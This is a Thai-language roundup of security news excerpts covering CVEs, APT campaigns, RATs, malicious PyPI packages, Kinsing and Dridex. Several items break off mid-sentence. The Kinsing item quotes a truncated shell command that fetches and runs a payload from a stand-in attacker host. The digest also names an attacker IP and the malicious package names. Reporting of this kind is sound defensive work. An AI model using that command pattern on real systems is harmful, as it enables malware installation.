นักวิจัยของ Unit 42 หน่วยงานวิจัยด้านความปลอดภัยของ Palo Alto Networks ได้ออกเผยแพร่รายงานการพบช่องโหว่บน jsonwebtoken (JWT) ที่มีหมายเลข CVE-2022-23529 ซึ่งส่งผลให้ Hackers ที่สามารถโจมตีได้สำเร็จสามารถสั่งรันโค้ดที่เป็นอันตรายจากระยะไกลได้

CVE-2022-23529 (คะแนน CVSS: 7.6 ระดับความรุนแรงสูง) เป็นช่องโหว่ของ JSON web token (JWT) ที่สามารถสั่งรันโค้ดที่เป็นอันตรายจากระยะไกล (Remote Code Execution RCE) บนเซิร์ฟเวอร์เป้าหมายได้

jsonwebtoken ถูกพัฒนาและดูแลโดย Auth0 ของ Okta โดยเป็นโมดูล JavaScript ที่ช่วยให้ผู้ใช้สามารถถอดรหัส ตรวจสอบ และสร้างโทเค็นเว็ป JSON เพื่อเป็นวิธีการส่งข้อมูลอย่างปลอดภัยระหว่างสองฝ่าย เพื่อการตรวจสอบสิทธิ์การใช้งาน และการตรวจสอบความถูกต้อง โดยมีการดาวน์โหลดไปแล้วมากกว่า 10 ล้านครั้งต่อสัปดาห์ใน npm software และมีการใช้งานมากกว่า 22,000 โครงการ

การโจมตี

Hackers จะทำการโจมตีบนเซิร์ฟเวอร์เป้าหมายผ่านทาง jsonwebtoken ที่มีช่องโหว่ เพื่อสั่งรันโค้ดที่เป็นอันตรายจากระยะไกล รวมไปถึงการเขียนข้อมูลทับ หรือเข้ารหัสไฟล์บนเครื่องที่ถูกโจมตีผ่านทาง secret management process โดยใช้ secretOrPublicKey value ที่มีช่องโหว่

jsonwebtoken เวอร์ชันที่ได้รับผลกระทบ

jsonwebtoken ตั้งแต่เวอร์ชัน 8.5.1 ลงไป

วิธีการป้องกัน

ดำเนินการอัปเดตเป็น jsonwebtoken เวอร์ชัน 9.0.0 เพื่อป้องกันความเสี่ยงจากการถูกโจมตี

ที่มา : thehackernews

กลุ่มแฮ็กเกอร์จากประเทศรัสเซียที่รู้จักกันในชื่อ "Turla" ถูกพบว่าทำการโจมตีระบบ infrastructure ของมัลแวร์ในยุคเก่าหลายสิบปี เพื่อนำมาใช้เป็นฐานในการแพร่กระจายแบ็คดอร์ไปยังเป้าหมายในประเทศยูเครน

Mandiant (ปัจจุบันถูกซื้อไปโดย Google) กำลังติดตามการดำเนินงานของกลุ่ม UNC4210 โดยพบว่ากลุ่มดังกล่าวกำลังทำการโจมตีระบบ infrastructure ที่มีความเกี่ยวข้องกับมัลแวร์ที่ชื่อว่า ANDROMEDA (หรือที่รู้จักกันในชื่อ Gamarue) ซึ่งเคยถูกนำไปตรวจสอบบน VirusTotal มาตั้งแต่ปี 2013 โดย UNC4210 ได้จดโดเมน command-and-control (C2) ที่หมดอายุไปแล้วของ ANDROMEDA กลับมาอย่างน้อยสามโดเมน และเริ่มทำโปรไฟล์เหยื่อเพื่อโจมตีโดยใช้มัลแวร์ KOPILUWAK และ QUIETCANARY ในเดือนกันยายน 2022

Turla หรือที่รู้จักกันในชื่อ Iron Hunter, Krypton, Uroburos, Venomous Bear และ Waterbug เป็นกลุ่มที่มุ่งเป้าการโจมตีไปที่องค์กรรัฐบาล การทูต และการทหารเป็นหลัก โดยการใช้มัลแวร์ที่สร้างขึ้นมาเองจำนวนมาก

นับตั้งแต่การโจมตีทางทหารของรัสเซียต่อยูเครนในเดือนกุมภาพันธ์ 2022 กลุ่มแฮ็กเกอร์จากประเทศรัสเซียถูกเชื่อมโยงเข้ากับการโจมตีแบบ credential phishing และความพยายามทำ reconnaissance ที่มุ่งเป้าไปที่หน่วยงานต่าง ๆ ที่อยู่ในยูเครนหลายครั้ง

ในเดือนกรกฎาคม 2022 กลุ่มนักวิเคราะห์ภัยคุกคามของ Google (TAG) ได้มีการเปิดเผยว่า Turla เคยสร้างแอปพลิเคชั่นที่เป็นอันตรายบนแอนดรอยด์ โดยอ้างว่าสามารถใช้เพื่อทำการโจมตีในรูปแบบ Distributed Denials-of-service(DDoS) ไปยังเว็ปไซต์ของรัสเซียได้

โดยจากรายงานล่าสุดจาก Mandiant แสดงให้เห็นว่า Turla มีการใช้กลไกการแพร่กระจายมัลแวร์ในรูปแบบเก่า ซึ่งเคยถูกใช้โดยมัลแวร์ ANDROMEDA โดยใช้การแพร่กระจายโดยการใช้ USB

โดยรายงานจาก Mandiant ระบุว่ามีการเสียบ USB ที่ติดมัลแวร์ในองค์กรณ์ที่ไม่ระบุชื่อในยูเครนในช่วงเดือนธันวาคม 2021 ซึ่งนำไปสู่การติดตั้งมัลแวร์ ANDROMEDA บนเครื่องผู้ใช้งาน เมื่อมีการเปิดไฟล์ link (.LNK) ที่ปลอมเป็น folder ที่มากับ USB drive

จากนั้นผู้โจมตีได้ใช้หนึ่งในโดเมนที่เคยเป็นส่วนหนึ่งของ C2 server ของ ANDROMEDA ซึ่งถูกลงทะเบียนกลับมาใช้อีกครั้งในเดือนมกราคม 2022 เพื่อแพร่กระจาย KOPILUWAK dropper ที่ถูกเขียนด้วย JavaScript ซึ่งเป็นเครื่องมือที่ใช้สำหรับ reconnaissance บนระบบของเหยื่อ

ต่อมาในวันที่ 8 กันยายน 2022 การโจมตีได้ดำเนินมาถึงช่วงสุดท้ายด้วยการดำเนินการของ QUIETCANARY (หรือที่รู้จักกันในชื่อ Tunnus) ซึ่งถูกเขียนด้วย .NET-based ที่ถูกใช้ในการขโมยข้อมูลของเหยื่อออกไป

โดยเครื่องมือที่ถูกใช้โดยกลุ่ม Turla รวมกับรายงานก่อนหน้านี้เกี่ยวกับความพยายามในการค้นหาโปรไฟล์เหยื่อซึ่งเกิดขึ้นพร้อมกับสงครามรัสเซีย-ยูเครน ซึ่งทำให้อาจมีความเกี่ยวข้องกับการรวบรวมข้อมูลต่าง ๆ ที่เป็นที่ต้องการของรัสเซีย นอกจากนี้ยังเป็นหนึ่งในกรณีที่พบไม่บ่อยนักที่กลุ่มแฮ็กเกอร์ได้รับการระบุเป้าหมายเหยื่อของแคมเปญต่าง ๆ เพื่อให้บรรลุเป้าหมายเชิงกลยุทธ์ของตนเอง ในขณะเดียวกันก็ปิดบังพฤติกรรมของตัวมันเองด้วย

“เนื่องจากมัลแวร์ ANDROMEDA ยังคงถูกใช้ในการแพร่กระจายผ่าน USB รวมไปถึงโดเมนที่ถูกนำกลับมาใช้ซ้ำเหล่านี้ จึงทำให้ผู้โจมตีรายใหม่สามารถเข้าควบคุม และส่งมัลแวร์รูปแบบใหม่ ๆ ไปยังเหยื่อได้ นอกจากนี้มัลแวร์ และ C2 server เก่า ๆ อาจถูกมองข้ามจากอุปกรณ์ด้านความปลอดภัยในปัจจุบัน"

การค้นพบนี้ยังเกิดขึ้นในขณะเดียวกันกับที่สำนักข่าวรอยเตอร์รายงานว่า กลุ่มผู้โจมตีที่คาดว่าได้รับการสนับสนุนจากรัฐบาลรัสเซียอีกกลุ่มหนึ่งที่มีชื่อว่า COLDRIVER (หรือที่รู้จักกันในชื่อ Callisto หรือ SEABORGIUM) ได้กำหนดเป้าหมายการโจมตีไปยังห้องปฏิบัติการวิจัยนิวเคลียร์สามแห่งในสหรัฐอเมริกาในช่วงต้นปี 2022

ที่มา: thehackernews

Censys บริษัทด้านความปลอดภัยไซเบอร์ ได้เปิดเผยรายงานการพบเซิร์ฟเวอร์ Cacti ที่เชื่อมต่อกับอินเทอร์เน็ตส่วนใหญ่ไม่ได้รับการอัปเดตช่องโหว่ด้านความปลอดภัยที่มีหมายเลข CVE-2022-46169 ซึ่งพึ่งถูกค้นพบในเดือนธันวาคม 2022 ที่ผ่านมา ทำให้ตกเป็นเป้าหมายในการโจมตีของกลุ่ม Hackers

CVE-2022-46169 (คะแนน CVSS: 9.8 ระดับความรุนแรงสูงมาก) เป็นช่องโหว่ใน Cacti Servers ที่สามารถ bypass การตรวจสอบสิทธิ์และเรียกใช้งานคำสั่งที่เป็นอันตรายบนเวอร์ชันที่เป็น open-source, web-based monitoring solution

จากการตรวจของ Censys สอบพบว่ามีเซิร์ฟเวอร์ Cacti เพียง 26 เซิร์ฟเวอร์ จากทั้งหมด 6,427 เซิร์ฟเวอร์ ที่มีการอัปเดตเวอร์ชันเพื่อปิดช่องโหว่ (version 1.2.23 และ 1.3.0) อีกทั้งนักวิจัยของ SonarSource บริษัทด้านความปลอดภัยไซเบอร์ยังได้ให้ข้อมูลเพิ่มเติมว่า พบเซิร์ฟเวอร์ Cacti ที่ยังไม่ได้อัปเดตเพื่อป้องกันช่องโหว่ถึง 1,320 เซิร์ฟเวอร์ โดยมาจากประเทศต่าง ๆ ได้แก่ บราซิล อินโดนีเซีย สหรัฐอเมริกา จีน บังคลาเทศ รัสเซีย ยูเครน ฟิลิปปินส์ อังกฤษ และประเทศไทย อีกทั้งยังพบการโจมตีช่องโหว่ดังกล่าวแล้ว ซึ่งพบว่า IP ที่โจมตีมานั้นส่วนใหญ่มาจากประเทศยูเครน

Cacti Server ที่ได้รับผลกระทบ

Cacti Server เวอร์ชัน 1.2.22 และต่ำกว่า

วิธีการแก้ไข

ทำการอัปเดต Cacti Server เป็นเวอร์ชัน 1.2.23 และ 1.3.0 เพื่อปิดช่องโหว่โดยเร็วที่สุด

ที่มา : thehackernews

Deep Instinct บริษัทด้านความปลอดภัยทางไซเบอร์ได้เผยแพร่การพบโทรจันการเข้าถึงจากระยะไกล (remote access trojans RAT) ของ StrRAT และ Ratty ได้ใช้แคมเปญใหม่โดยการใช้ไฟล์ polyglot MSI/JAR และ CAB/JAR เพื่อหลบเลี่ยงการตรวจจับจากเครื่องมือรักษาความปลอดภัย และ Anti-Virus ซึ่งเป็นที่น่าสนใจมากขึ้น เนื่องจาก StrRAT และ Ratty เป็น RAT malware ที่เคยถูกพบมานานแล้ว

polyglot files คือ ไฟล์หลากหลายภาษารวมกันในรูปแบบไฟล์ตั้งแต่สองรูปแบบขึ้นไป ซึ่ง Hackers ได้ใช้ไฟล์หลายภาษาที่ฝังคำสั่งที่เป็นอันตราย เพื่อหลบเลี่ยงการตรวจจับจากเครื่องมือรักษาความปลอดภัย และเรียกใช้โดยแอปพลิเคชันที่แตกต่างกันหลายรายการได้โดยไม่มีข้อผิดพลาด โดยล่าสุดที่พบการใช้วิธีการนี้ในการโจมตีคือ มัลแวร์ StrelaStealer ที่กำหนดเป้าหมายไปยังบัญชีผู้ใช้งาน Outlook และ Thunderbird

วิธีการโจมตี

Deep Instinct ได้อธิบายวิธีการโจมตีไว้ว่า ด้วยการรวมรูปแบบ JAR และ MSI ไว้ในไฟล์เดียว โดยไฟล์ JAR เป็นไฟล์ archive ที่จะถูกระบุโดยบันทึกที่ส่วนท้าย ในขณะที่ใน MSI ตัวระบุประเภทไฟล์คือ "magic header" ที่จุดเริ่มต้นของไฟล์ รูปแบบทั้งคู่นี้ทำให้สามารถดำเนินการเป็น MSI ใน Windows และดำเนินการเป็นไฟล์ JAR โดย Java runtime (JAR ไม่ใช่ไฟล์เรียกทำงานจึงไม่ได้รับการตรวจสอบจาก Anti-Virus ทำให้สามารถซ่อนคำสั่งที่เป็นอันตรายได้) รวมไปถึงการใช้การรวมรูปแบบ CAB/JAR แทน MSI เนื่องจากพวกเขามี magic header สำหรับการตีความประเภทไฟล์เช่นกัน

โดยพบว่า แคมเปญนี้ถูกเผยแพร่โดย Sendgrid และ URL shortening เช่น Cutt.

Fortinet เปิดเผยว่า พบ Hackers ที่ยังไม่ทราบชื่อ กำลังใช้ประโยชน์จากช่องโหว่ Zero-day ของ FortiOS SSL-VPN กำหนดเป้าหมายการโจมตีไปยังองค์กรของรัฐ และองค์กรที่เกี่ยวข้องกับรัฐบาล

ช่องโหว่ FortiOS SSL-VPN ( CVE-2022-42475 ) คือช่องโหว่ heap-based buffer overflow ที่พบใน FortiOS SSL-VPN ที่ทำให้ Hacker สามารถหลบเลี่ยงการตรวจสอบสิทธิ และโจมตีอุปกรณ์เป้าหมายจากระยะไกล หรือสั่งรันโค้ดที่เป็นอันตรายจากระยะไกลได้ (Remote Code Execution) ซึ่งช่องโหว่ถูกเผยแพร่ออกมาในกลางเดือนธันวาคมที่ผ่านมา เพื่อให้ผู้ใช้งานได้อัปเดตเพื่อแก้ไขช่องโหว่

การโจมตี

Fortinet ได้เผยแพร่รายงานการติดตามผลของกลุ่ม Hacker ที่ใช้ช่องโหว่ CVE-2022-42475 โจมตีอุปกรณ์ FortiOS SSL-VPN โดยพบว่า หลังจากที่สามารถโจมตีผ่านช่องโหว่ FortiOS SSL-VPN ได้สำเร็จ Hacker ก็จะทำการดาวน์โหลด และติดตั้งไฟล์อัปเดตอันตราย ซึ่งสามารถลบ Log ที่ใช้ตรวจจับการเข้าถึง และการโจมตีของ Hacker รวมทั้งปิดระบบ Intrusion Prevention System (IPS) ที่ทำหน้าที่ตรวจจับภัยคุกคาม ใน Firewall Fortigate ที่มีช่องโหว่

อีกทั้งยังพบหลักฐาน ที่ยืนยันได้ว่า Hacker ได้กำหนดเป้าหมายการโจมตีไปยังองค์กรของรัฐ และองค์กรที่เกี่ยวข้องกับรัฐบาลอีกด้วย

การป้องกัน

แนะนำให้ผู้ดูแลระบบอัปเดตเป็น FortiOS เวอร์ชันล่าสุดโดยด่วน เพื่อป้องกันการโจมตีจากช่องโหว่ดังกล่าว

ที่มา : bleepingcomputer

นักวิจัยของ Cybereason เผยข้อมูลการโจมตีของ IcedID Malware ที่สามารถเข้าถึง Active Directory Domain ได้ภายใน 24 ชั่วโมง หลักจากได้รับสิทธิ์การเข้าถึงในครั้งแรก รวมไปถึงตลอดการโจมตี Hacker ยังพยายามทำการค้นหาช่องโหว่อื่น ๆ, ขโมยข้อมูลประจำตัว, แพร่กระจายตัวโดยการใช้ Windows protocol และการใช้เครื่องมืออย่าง Cobalt Strike บนเครื่่องเหยื่อที่ถูกโจมตี

IcedID หรือที่รู้จักในชื่อ BokBot เริ่มต้นด้วยการเป็น banking trojan ในปี 2017 ก่อนจะพัฒนาเป็น dropper malware แบบเดียวกันกับ Emotet, TrickBot, Qakbot, Bumblebee และ Raspberry Robin

วิธีการโจมตี

นักวิจัยได้อธิบายการโจมตีของ IcedID ไว้ว่า มันจะเริ่มจากการส่งไฟล์อิมเมจ ISO ที่อยู่ในไฟล์ ZIP ซึ่งได้ฝัง payload อันตรายเอาไว้ไปหาเหยื่อ

เมื่อสามารถโจมตีเข้าไปยังระบบของเหยื่อได้แล้ว ก็จะสร้าง Process เพื่อฝังตัวเองในเครื่อง (Persistence) และทำการติดต่อกับเซิร์ฟเวอร์ภายนอกของ Hacker เพื่อดาวน์โหลด payload เพิ่มเติม เช่น Cobalt Strike Beacon สำหรับหาช่องโหว่อื่น ๆ บนระบบสำหรับการ lateral movement รวมไปถึงเครื่องมือภาษา C# ที่ชื่อว่า Rubeus เพื่อขโมยข้อมูลประจำตัว เพื่อยกระดับสิทธิ์ตัวเอง และแพร่กระจายไปยัง Windows Server เครื่องอื่น ๆ รวมไปถึงเพื่อการโจมตีแบบ DCSync ซึ่งจะทำให้ Hacker สามารถจำลอง domain controller ( DC ) และดึงข้อมูลประจำตัวของผู้ใช้งานทั้งหมดบนระบบ domain controllers ออกมาได้

รวมไปถึงการใช้เครื่องมืออื่น ๆ เป็นส่วนหนึ่งของการโจมตี ได้แก่ netscan.

ผู้เชี่ยวชาญจาก SEKOIA พบเคมเปญการโจมตีขนาดใหญ่ที่มีการใช้งานโดเมนกว่า 1,300 โดเมนในการปลอมเป็น Official Site ของโปรแกรมรีโมทที่ใช้งานกันแพร่หลายอย่าง AnyDesk โดยจะเปลี่ยนเส้นทางของผู้ใช้งานไปยัง Dropbox ที่ใช้สำหรับติดตั้งมัลแวร์ขโมยข้อมูลที่มีชื่อว่า Vidar ซึ่ง Host ทั้งหมดใช้มาจาก IP เดียวกันคือ 185.149.120[.]9

ปัจจุบันโดเมนส่วนใหญ่ยังคงออนไลน์อยู่ แต่ก็มีบางโดเมนถูกรายงาน และปิดโดยผู้ให้บริการ Hosting รวมไปถึงถูกบล็อกจาก AntiVirus นอกจากนี้ลิงก์ Dropbox ของเว็ปไซต์ที่เปิดอยู่จะไม่ทำงานอีกต่อไปเนื่องจากมีรายงานไฟล์ที่เป็นอันตรายไปยังผู้ให้บริการ อย่างไรก็ตามแคมเปญเหล่านี้ชี้ไปที่เว็ปไซต์ปลายทางเดียวกัน ทำให้ผู้โจมตีสามารถแก้ไขปัญหาได้โดยอัปเดต URL ดาวน์โหลดไปยังเว็ปไซต์อื่นแทน

ลักษณะการทำงาน

ในแคมเปญล่าสุดที่ค้นพบเว็ปไซต์ปลอมต์ต่าง ๆ จะทำการแจกจ่ายไฟล์ที่ชื่อ 'AnyDeskDownload.

ทีมวิจัยของ Phylum บริษัทด้านความปลอดภัยทางไซเบอร์ เผยแพร่การค้นพบแพ็คเกจ PyPI (Python Package Index) ที่เป็นอันตราย ซึ่งจะแอบติดตั้งมัลแวร์สำหรับขโมยข้อมูล และโทรจันสำหรับใช้ในการเข้าถึงจากระยะไกล RAT (Remote Access Trojan) ดาวน์โหลด CloudFlare Tunnel เพื่อใช้หลีกเลี่ยงการตรวจจับจากไฟร์วอลล์ ในการขโมยข้อมูลผู้ใช้ในเว็บเบราว์เซอร์ เรียกใช้คำสั่ง shell commands และใช้ keyloggers เพื่อขโมยข้อมูลการพิมพ์ในเครื่องเหยื่อ

นักวิจัยรายงานว่า ตรวจพบแพ็คเกจ PyPI ที่เป็นอันตรายครั้งแรกในวันที่ 22 ธันวาคม 2022 รวมถึง Hackers ยังได้อัปโหลดแพ็คเกจอื่น ๆ จนถึงวันสิ้นปี

ซึ่งแพ็คเกจ PyPI ที่เป็นอันตราย ตรวจพบมีดังต่อไปนี้
pyrologin – ดาวน์โหลด 165 ครั้ง
easytimestamp – ดาวน์โหลด 141 ครั้ง
discorder – ดาวน์โหลด 83 ครั้ง
discord-dev – ดาวน์โหลด 228 ครั้ง
style.

Kinsing malware เป็น malware ที่มุ่งเป้าโจมไปที่ Linux environments เพื่อทำการ Cryptojacking โดยทีม Microsoft Defender for Cloud ได้สังเกตเห็นพฤติกรรม Initial access เทคนิคของ Kinsing malware ที่ใช้ในการโจมตี Kubernetes environments ซึ่งหลัก ๆ แบ่งออกได้เป็นสองวิธีดังนี้

วิธีที่ 1 Container Image มีช่องโหว่

Kinsing malware จะพยาม scan หา container ที่มีช่องโหว่ RCE (Remote Code Execution) ที่เคยมีการเปิดเผยต่อสาธารณะแล้ว ตัวอย่าง application ที่เคยโจมตีเช่น:

PHPUnit
Liferay
WebLogic
Wordpress

หลังจากที่ได้ Remote access แล้ว Kinsing จะใช้ shell command เพื่อทำการติดตั้ง malware

“/bin/bash -c (curl -s Attacker_IP/Payload_Name.

นักวิจัยของ Trend Micro ได้เปิดเผยการค้นพบมัลแวร์ Dridex Banking ที่ได้มุ่งเป้าไปที่ระบบปฏิบัติการ macOS ของ Apple โดยการใช้เทคนิคการโจมตีแบบใหม่ที่ไม่เคยถูกพบมาก่อน ด้วยวิธีการส่งไฟล์ที่ฝัง macro ที่เป็นอันตราย โดยที่ Hacker อาจไม่จำเป็นต้องปลอมแปลงไฟล์อันตรายให้เป็นใบแจ้งหนี้ หรือไฟล์เอกสารที่เกี่ยวข้องกับธุรกิจ

Dridex หรือเรียกอีกอย่างว่า Bugat และ Cridex เป็นมัลแวร์ประเภท Information Stealer ที่สามารถรวบรวมข้อมูลสำคัญจากเครื่องที่โดนโจมตี และเรียกใช้โมดูลที่เป็นอันตราย อีกทั้งยังมีความเกี่ยวข้องกับกลุ่ม Hacker ที่ชื่อ Evil Corp (หรือที่รู้จักกันในชื่อ Indrik Spider) ซึ่งได้มาทดแทน Gameover Zeus หรือ Zeus ซึ่งเป็น banking trojan ที่มุ่งเป้าไปที่ระบบปฏิบัติการ Windows โดยการใช้ไฟล์เอกสาร Microsoft Excel ที่ฝัง macro และใช้การส่ง Phishing Email ไปยังเหยื่อเพื่อเรียกใช้งาน payload ที่เป็นอันตราย

จากการวิเคราะห์ตัวอย่าง Dridex ของ Trend Micro พบว่ามีความเกี่ยวข้องกับ Mach-O (Mach object) ซึ่งเป็นไฟล์สั่งการที่ถูกอัปโหลดไปยัง VirusTotal ในเดือนเมษายน 2019 ตั้งแต่นั้นมา มีการตรวจพบ Artifacts ที่เกี่ยวข้องอีก 67 ตัวอย่าง โดยพบครั้งล่าสุดในเดือนธันวาคม 2022

เทคนิคการโจมตี
โดยใน Artifacts จะประกอบไปด้วย ไฟล์เอกสารที่ฝัง macro ที่เป็นอันตราย และสามารถรันคำสั่งอัตโนมัติเมื่อเปิดไฟล์เอกสาร รวมถึงการใช้ Mach-O (Mach object) executable ซึ่งได้รับการออกแบบมาเพื่อค้นหา และเขียนทับไฟล์ ".doc" ทั้งหมดในไดเร็กทอรีของเครื่องที่ถูกโจมตี (~/User/{user name}) ด้วยมาโครที่เป็นอันตรายซึ่งจะคัดลอกจากไฟล์เอกสารที่ฝังไว้ในรูปแบบ hexadecimal dump ถึงแม้ว่าเครื่องที่ถูกโจมตีจะมีการปิดฟีเจอร์การรัน macro ใน Microsoft Word ไปแล้วก็ตาม

อีกทั้งไฟล์ macro ดังกล่าวยังสามารถติดต่อกับเซิร์ฟเวอร์ภายนอกเพื่อดาวน์โหลด Dridex loader ซึ่งรวมถึงไฟล์สั่งการที่จะทำงานบนระบบปฏิบัติการ Windows แต่จะไม่ทำงานใน macOS ทำให้ถึงแม้ Dridex จะมีข้อจำกัดในการส่งผลกระทบต่อผู้ใช้ macOS เนื่องจาก payload เป็นไฟล์ .EXE (ไม่สามารถสั่งการบน macOS ได้) แต่ผู้ใช้งาน macOS ก็ยังได้รับผลกระทบจากการถูกเขียนทับไฟล์ ".doc" อยู่ดี

นักวิจัยระบุว่า หลังจากที่ Microsoft ได้ปิดฟีเจอร์การรัน macro ใน Microsoft Word เป็นค่าเริ่มต้น จึงส่งผลให้เหล่า Hackers ได้ปรับปรุงกลยุทธ์ และวิธีการในการโจมตีให้มีประสิทธิภาพมากขึ้นในการโจมตีเป้าหมาย

ที่มา : thehackernews